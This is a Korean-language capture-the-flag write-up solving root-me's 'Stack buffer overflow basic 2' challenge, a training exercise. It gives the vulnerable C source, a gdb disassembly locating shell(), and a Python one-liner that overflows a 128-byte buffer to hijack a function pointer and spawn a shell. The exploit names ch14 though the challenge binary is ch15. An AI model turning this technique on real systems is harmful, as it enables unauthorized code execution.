root-me.org
[APP - SYSTEM]
ELF x86 - Stack buffer overflow basic 2 풀이
문제 소스:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | /* gcc -m32 -fno-stack-protector -o ch15 ch15.c */ #include <stdio.h> #include <stdlib.h> void shell() { system("/bin/dash"); } void sup() { printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n"); } main() { int var; void (*func)()=sup; char buf[128]; fgets(buf,133,stdin); func(); } | cs |
buf의 크기는 128바이트인데, fgets함수로 133만큼 입력을 받으므로 bof가 발생한다.
void (*func)()의 값을 shell() 함수의 주소로 덮어주면 된다.
shell() 함수의 주소를 gdb를 이용해 구할 수 있다.
app-systeme-ch15@challenge02:~$ gdb -q ch15
Reading symbols from ch15...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas shell
Dump of assembler code for function shell:
0x08048464 <+0>: push ebp
0x08048465 <+1>: mov ebp,esp
0x08048467 <+3>: sub esp,0x18
0x0804846a <+6>: mov DWORD PTR [esp],0x80485a0
0x08048471 <+13>: call 0x8048380 <system@plt>
0x08048476 <+18>: leave
0x08048477 <+19>: ret
End of assembler dump.
shell() : 0x08048464
exploit!
(python -c 'print "A"*128+"\x64\x84\x04\x08"'; cat) | ./ch14